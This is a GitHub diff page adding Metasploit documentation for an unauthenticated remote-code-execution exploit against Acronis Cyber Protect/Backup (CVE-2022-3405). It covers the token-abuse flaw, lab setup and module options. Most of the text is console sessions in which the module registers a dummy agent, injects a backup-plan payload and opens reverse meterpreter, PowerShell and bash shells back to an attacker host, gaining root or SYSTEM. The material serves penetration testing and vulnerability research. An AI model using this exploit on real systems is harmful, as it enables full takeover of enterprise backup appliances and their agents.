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Land #19583 Acronis Cyber Backup/Protect RCE [CVE-2022-3405]
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...ntation/modules/exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.md
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| ## Vulnerable Application | ||
| Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all, compute, storage and application resources. | ||
| Businesses and Service Providers are using it to protect and backup all IT assets in their IT environment. | ||
| The Acronis Cyber Protect appliance, in its default configuration, allows the anonymous registration of new protect/backup agents | ||
| on new endpoints. This API endpoint also generates bearer tokens which the agent then uses to authenticate to the appliance. | ||
| As the management web console is running on the same port as the API for the agents, this bearer token is also valid for any actions | ||
| on the web console. This allows an attacker with network access to the appliance to start the registration of a new agent, | ||
| retrieve a bearer token that provides admin access to the available functions in the web console. | ||
|
|
||
| The web console contains multiple possibilities to execute arbitrary commands on both the agents (e.g., via PreCommands for a backup) | ||
| and also the appliance (e.g., via a Validation job on the agent of the appliance). | ||
| These options can easily be set with the provided bearer token, which leads to a complete compromise of all agents and the appliance | ||
| itself. | ||
|
|
||
| You can either use the module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure` to collect target info for exploitation | ||
| in this module. Or just run this module standalone and it will try to exploit the first online endpoint matching your target and | ||
| payload settings configured at the module. | ||
|
|
||
| Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and | ||
| Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable. | ||
|
|
||
| The following releases were tested. | ||
|
|
||
| **Acronis Cyber Protect 15 ISO appliances:** | ||
| * Acronis Cyber Protect 15 Build 28503 | ||
| * Acronis Cyber Protect 15 Build 27009 | ||
| * Acronis Cyber Protect 15 Build 26981 | ||
| * Acronis Cyber Protect 15 Build 26172 | ||
|
|
||
| **Acronis Cyber Protect 12.5 ISO appliances:** | ||
| * Acronis Cyber Protect 12.5 Build 16428 | ||
| * Acronis Cyber Protect 12.5 Build 16386 | ||
| * Acronis Cyber Protect 12.5 Build 14330 | ||
| * Acronis Cyber Protect 12.5 Build 11010 | ||
|
|
||
| ## Installation steps to install the Acronis Cyber Protect/Backup appliance | ||
| * Install the virtualization engine VMware Fusion on your preferred platform. | ||
| * [Install VMware Fusion on MacOS](https://knowledge.broadcom.com/external/article/315638/download-and-install-vmware-fusion.html). | ||
| * [Download ISO Image](https://care.acronis.com/s/article/71847-Acronis-Cyber-Protect-Links-to-download-installation-files?language=en_US). | ||
| * Install the Acronis iso image in your virtualization engine by unzipping the appliance image and import the `ovf` image. | ||
| * During the boot, select `Install appliance` and configure the installation settings such as setting the root password and IP address | ||
| * using the option `change installation settings`. | ||
| * Boot up the VM and should be able to access the Acronis Cyber Protect/Backup appliance either thru the console, `ssh` on port `22` | ||
| * via the `webui` via `http://your_ip:9877`. | ||
| * Ensure that you have registered yourself on the Acronis Web site and applied for the 30-days trial for Acronis Cyber Protect. | ||
| * Login into the appliance via the `webui`. | ||
| * Follow the license instructions to apply your 30-day trial license. | ||
|
|
||
| You are now ready to test the module. | ||
|
|
||
| ## Verification Steps | ||
| - [ ] Start `msfconsole` | ||
| - [ ] `modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405` | ||
| - [ ] `set rhosts <ip-target>` | ||
| - [ ] `set lhost <attacker-ip>` | ||
| - [ ] `exploit` | ||
| - [ ] you should get a `shell` or `meterpreter` session depending on your settings. | ||
|
|
||
| ## Options | ||
| These three options below are needed to target an specific endpoint registered on the Acronis Protect/Backup appliance. | ||
| This information can be collected using the recon module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`. | ||
| This information is not mandatory for the module to run successfully. | ||
| You can also run this module standalone and it will try to exploit the first online endpoint matching your target | ||
| and payload settings configured at the module. | ||
| ### HOSTID | ||
| HostId value collected from the recon module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`. | ||
| ### KEY | ||
| Key value collected from the recon module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`. | ||
| ### PARENTID | ||
| ParentId value collected from the recon module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`. | ||
| ### OUTPUT | ||
| You can use option `none` where no information is stored or printed to the console (default). | ||
| Choosing option `json` will store all information at a file in `json` format at the loot directory. | ||
| You can use this file in combination with `jq` for offline queries and processing. | ||
|
|
||
| ## Scenarios | ||
| ```msf | ||
| msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > info | ||
| Name: Acronis Cyber Protect/Backup remote code execution | ||
| Module: exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405 | ||
| Platform: Unix, Linux, Windows | ||
| Arch: cmd | ||
| Privileged: Yes | ||
| License: Metasploit Framework License (BSD) | ||
| Rank: Excellent | ||
| Disclosed: 2022-11-08 | ||
| Provided by: | ||
| h00die-gr3y <h00die.gr3y@gmail.com> | ||
| Sandro Tolksdorf of usd AG. | ||
| Module side effects: | ||
| artifacts-on-disk | ||
| ioc-in-logs | ||
| Module stability: | ||
| crash-safe | ||
| Module reliability: | ||
| repeatable-session | ||
| Available targets: | ||
| Id Name | ||
| -- ---- | ||
| => 0 Unix/Linux Command | ||
| 1 Windows Command | ||
| Check supported: | ||
| Yes | ||
| Basic options: | ||
| Name Current Setting Required Description | ||
| ---- --------------- -------- ----------- | ||
| HOSTID no hostId value collected from recon module "auxiliary/gather/a | ||
| cronis_cyber_protect_machine_info_disclosure" | ||
| KEY no key value collected from recon module "auxiliary/gather/acro | ||
| nis_cyber_protect_machine_info_disclosure" | ||
| OUTPUT none yes Output format to use (Accepted: none, json) | ||
| PARENTID no parentId value collected from recon module "auxiliary/gather | ||
| /acronis_cyber_protect_machine_info_disclosure" | ||
| Proxies no A proxy chain of format type:host:port[,type:host:port][...] | ||
| RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/usi | ||
| ng-metasploit/basics/using-metasploit.html | ||
| RPORT 9877 yes The target port (TCP) | ||
| SSL true no Negotiate SSL/TLS for outgoing connections | ||
| TARGETURI / yes The URI of the vulnerable Acronis Cyber Protect/Backup insta | ||
| nce | ||
| VHOST no HTTP server virtual host | ||
| Payload information: | ||
| Description: | ||
| Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all, | ||
| compute, storage and application resources. Businesses and Service Providers are using it | ||
| to protect and backup all IT assets in their IT environment. | ||
| The Acronis Cyber Protect appliance, in its default configuration, allows the anonymous | ||
| registration of new protect/backup agents on new endpoints. This API endpoint also | ||
| generates bearer tokens which the agent then uses to authenticate to the appliance. | ||
| As the management web console is running on the same port as the API for the agents, this | ||
| bearer token is also valid for any actions on the web console. This allows an attacker | ||
| with network access to the appliance to start the registration of a new agent, retrieve a | ||
| bearer token that provides admin access to the available functions in the web console. | ||
| The web console contains multiple possibilities to execute arbitrary commands on both the | ||
| agents (e.g., via PreCommands for a backup) and also the appliance (e.g., via a Validation | ||
| job on the agent of the appliance). These options can easily be set with the provided bearer | ||
| token, which leads to a complete compromise of all agents and the appliance itself. | ||
| You can either use the module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure` | ||
| to collect target info for exploitation in this module. Or just run this module standalone and | ||
| it will try to exploit the first online endpoint matching your target and payload settings | ||
| configured at the module. | ||
| Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and | ||
| Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable. | ||
| References: | ||
| https://nvd.nist.gov/vuln/detail/CVE-2022-3405 | ||
| https://herolab.usd.de/security-advisories/usd-2022-0008/ | ||
| https://attackerkb.com/topics/WVI3r5eNIc/cve-2022-3405 | ||
| View the full module info with the info -d command. | ||
| ``` | ||
| ### Acronis Cyber Backup 12.5 build 14330 VMware appliance - Linux target | ||
| ```msf | ||
| msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set rhosts 192.168.201.6 | ||
| rhosts => 192.168.201.6 | ||
| msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set target 0 | ||
| target => 0 | ||
| msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp | ||
| payload => cmd/linux/http/x64/meterpreter/reverse_tcp | ||
| msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set FETCH_SRVHOST 192.168.201.8 | ||
| FETCH_SRVHOST => 192.168.201.8 | ||
| msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set FETCH_WRITABLE_DIR /tmp | ||
| FETCH_WRITABLE_DIR => /tmp | ||
| msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > exploit | ||
| [*] Started reverse TCP handler on 192.168.201.8:4444 | ||
| [*] Running automatic check ("set AutoCheck false" to disable) | ||
| [!] The service is running, but could not be validated. | ||
| [*] Retrieve the first access token. | ||
| [*] Register a dummy backup agent. | ||
| [*] Dummy backup agent registration is successful. | ||
| [*] Retrieve the second access token. | ||
| [+] The target appears to be vulnerable. Acronis Cyber Protect/Backup 12.5.14330 | ||
| [*] Retrieve first online target registered at the Acronis Cyber Protect/Backup appliance. | ||
| [*] Found online target matching your target setting Unix/Linux Command. | ||
| [+] hostId: 345C3F1E-92C3-4E92-8EF8-AC6BF136BB83 | ||
| [+] parentId: phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks | ||
| [+] key: phm.F70D1B08-5097-4CE5-8E22-F9E0DB75401F@345C3F1E-92C3-4E92-8EF8-AC6BF136BB83.disks | ||
| [*] type: machine | ||
| [*] hostname: AcronisAppliance-AC319 | ||
| [*] IP: 192.168.201.6 | ||
| [*] OS: GNU/Linux | ||
| [*] ARCH: linux | ||
| [*] ONLINE: true | ||
| [*] Import backup plan with payload for target with hostId: 345C3F1E-92C3-4E92-8EF8-AC6BF136BB83. | ||
| [*] Executing Unix/Linux Command with payload cmd/linux/http/x64/meterpreter/reverse_tcp | ||
| [*] Sending stage (3045380 bytes) to 192.168.201.6 | ||
| [*] Meterpreter session 22 opened (192.168.201.8:4444 -> 192.168.201.6:60862) at 2024-10-23 12:35:44 +0000 | ||
| [+] Backup plan is successful removed. | ||
| meterpreter > getuid | ||
| Server username: root | ||
| meterpreter > sysinfo | ||
| Computer : 192.168.201.6 | ||
| OS : CentOS 7.4.1708 (Linux 3.10.0-693.11.6.el7.x86_64) | ||
| Architecture : x64 | ||
| BuildTuple : x86_64-linux-musl | ||
| Meterpreter : x64/linux | ||
| meterpreter > pwd | ||
| /var/lib/Acronis/mms | ||
| meterpreter > | ||
| ``` | ||
| ### Acronis Cyber Backup 12.5 build 14330 VMware appliance - Windows target | ||
| ```msf | ||
| msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set target 1 | ||
| target => 1 | ||
| msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set output json | ||
| output => json | ||
| msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set payload cmd/windows/reverse_powershell | ||
| payload => cmd/windows/reverse_powershell | ||
| msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > exploit | ||
| [*] Started reverse TCP handler on 192.168.201.8:4444 | ||
| [*] Running automatic check ("set AutoCheck false" to disable) | ||
| [!] The service is running, but could not be validated. | ||
| [*] Retrieve the first access token. | ||
| [*] Register a dummy backup agent. | ||
| [*] Dummy backup agent registration is successful. | ||
| [*] Retrieve the second access token. | ||
| [+] The target appears to be vulnerable. Acronis Cyber Protect/Backup 12.5.14330 | ||
| [*] Retrieve first online target registered at the Acronis Cyber Protect/Backup appliance. | ||
| [+] Configuration details are successfully saved in json format to /root/.msf4/loot/20241023124641_default_192.168.201.6_acronis.cyber.pr_949551.bin | ||
| [*] Found online target matching your target setting Windows Command. | ||
| [+] hostId: 28BAFD9F-F9F1-481F-A970-1A6ED70736AC | ||
| [+] parentId: phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks | ||
| [+] key: phm.0CA16CD4-1C6D-44D2-BEF1-B9F146005EE1@28BAFD9F-F9F1-481F-A970-1A6ED70736AC.disks | ||
| [*] type: machine | ||
| [*] hostname: WIN-BJDNH44EEDB | ||
| [*] IP: 192.168.201.5 | ||
| [*] OS: Microsoft Windows Server 2019 Standard | ||
| [*] ARCH: windows | ||
| [*] ONLINE: true | ||
| [*] Import backup plan with payload for target with hostId: 28BAFD9F-F9F1-481F-A970-1A6ED70736AC. | ||
| [*] Executing Windows Command with payload cmd/windows/reverse_powershell | ||
| [*] Command shell session 23 opened (192.168.201.8:4444 -> 192.168.201.5:49780) at 2024-10-23 12:46:51 +0000 | ||
| [+] Backup plan is successful removed. | ||
| Shell Banner: | ||
| Microsoft Windows [Version 10.0.17763.107] | ||
| ----- | ||
| C:\Windows\system32>whoami | ||
| whoami | ||
| nt authority\system | ||
| C:\Windows\system32>systeminfo | ||
| systeminfo | ||
| Host Name: WIN-BJDNH44EEDB | ||
| OS Name: Microsoft Windows Server 2019 Standard | ||
| OS Version: 10.0.17763 N/A Build 17763 | ||
| OS Manufacturer: Microsoft Corporation | ||
| OS Configuration: Standalone Server | ||
| OS Build Type: Multiprocessor Free | ||
| Registered Owner: Windows User | ||
| Registered Organization: | ||
| Product ID: 00429-70000-00000-AA946 | ||
| Original Install Date: 1/26/2023, 10:05:52 AM | ||
| System Boot Time: 10/23/2024, 2:44:05 PM | ||
| System Manufacturer: innotek GmbH | ||
| System Model: VirtualBox | ||
| System Type: x64-based PC | ||
| Processor(s): 1 Processor(s) Installed. | ||
| [01]: Intel64 Family 6 Model 158 Stepping 13 GenuineIntel ~2307 Mhz | ||
| BIOS Version: innotek GmbH VirtualBox, 12/1/2006 | ||
| Windows Directory: C:\Windows | ||
| System Directory: C:\Windows\system32 | ||
| Boot Device: \Device\HarddiskVolume1 | ||
| System Locale: en-us;English (United States) | ||
| Input Locale: en-us;English (United States) | ||
| Time Zone: (UTC+01:00) Amsterdam, Berlin, Bern, Rome, Stockholm, Vienna | ||
| Total Physical Memory: 2,048 MB | ||
| Available Physical Memory: 475 MB | ||
| Virtual Memory: Max Size: 4,224 MB | ||
| Virtual Memory: Available: 2,800 MB | ||
| Virtual Memory: In Use: 1,424 MB | ||
| Page File Location(s): C:\pagefile.sys | ||
| Domain: WORKGROUP | ||
| Logon Server: N/A | ||
| Hotfix(s): 1 Hotfix(s) Installed. | ||
| [01]: KB4464455 | ||
| Network Card(s): 1 NIC(s) Installed. | ||
| [01]: Intel(R) PRO/1000 MT Desktop Adapter | ||
| Connection Name: Ethernet | ||
| DHCP Enabled: No | ||
| IP address(es) | ||
| [01]: 192.168.201.5 | ||
| [02]: fe80::85ec:4690:3774:2b6b | ||
| [03]: fdf7:94fa:75b3:fe44:85ec:4690:3774:2b6b | ||
| Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed. | ||
| C:\Windows\system32> | ||
| ``` | ||
| ### Acronis Cyber Backup 15 build 27009 VMware appliance - Linux target | ||
| ```msf | ||
| msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set rhosts 192.168.201.6 | ||
| rhosts => 192.168.201.6 | ||
| msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set target 0 | ||
| target => 0 | ||
| msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set payload cmd/unix/reverse_bash | ||
| payload => cmd/unix/reverse_bash | ||
| msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > exploit | ||
| [*] Started reverse TCP handler on 192.168.201.8:4444 | ||
| [*] Running automatic check ("set AutoCheck false" to disable) | ||
| [!] The service is running, but could not be validated. | ||
| [*] Retrieve the first access token. | ||
| [*] Register a dummy backup agent. | ||
| [*] Dummy backup agent registration is successful. | ||
| [*] Retrieve the second access token. | ||
| [+] The target appears to be vulnerable. Acronis Cyber Protect/Backup 15.0.27009 | ||
| [*] Retrieve first online target registered at the Acronis Cyber Protect/Backup appliance. | ||
| [*] Found online target matching your target setting Unix/Linux Command. | ||
| [+] hostId: D287E868-EDBB-4FE9-85A9-F928AA10EE5D | ||
| [+] parentId: 00000000-0000-0000-0000-000000000000 | ||
| [+] key: phm.EA9A6E26-38B5-4727-9957-FD7CDD7BF2CC@D287E868-EDBB-4FE9-85A9-F928AA10EE5D.disks | ||
| [*] type: machine | ||
| [*] hostname: AcronisAppliance-FCD94 | ||
| [*] IP: 192.168.201.6 | ||
| [*] OS: Linux: CentOS Linux release 7.6.1810 (Core) | ||
| [*] ARCH: linux | ||
| [*] ONLINE: true | ||
| [*] Import backup plan with payload for target with hostId: D287E868-EDBB-4FE9-85A9-F928AA10EE5D. | ||
| [*] Executing Unix/Linux Command with payload cmd/unix/reverse_bash | ||
| [*] Command shell session 21 opened (192.168.201.8:4444 -> 192.168.201.6:35722) at 2024-10-23 12:20:05 +0000 | ||
| [+] Backup plan is successful removed. | ||
| uname -a | ||
| Linux AcronisAppliance-FCD94 3.10.0-957.27.2.el7.x86_64 #1 SMP Mon Jul 29 17:46:05 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux | ||
| id | ||
| uid=0(root) gid=0(root) groups=0(root) | ||
| pwd | ||
| /var/lib/Acronis/mms | ||
| ``` | ||
|
|
||
| ## Limitations | ||
| In some occasions, the exploit might fail. | ||
| Adjust the `WfsDelay` advanced option might help. |
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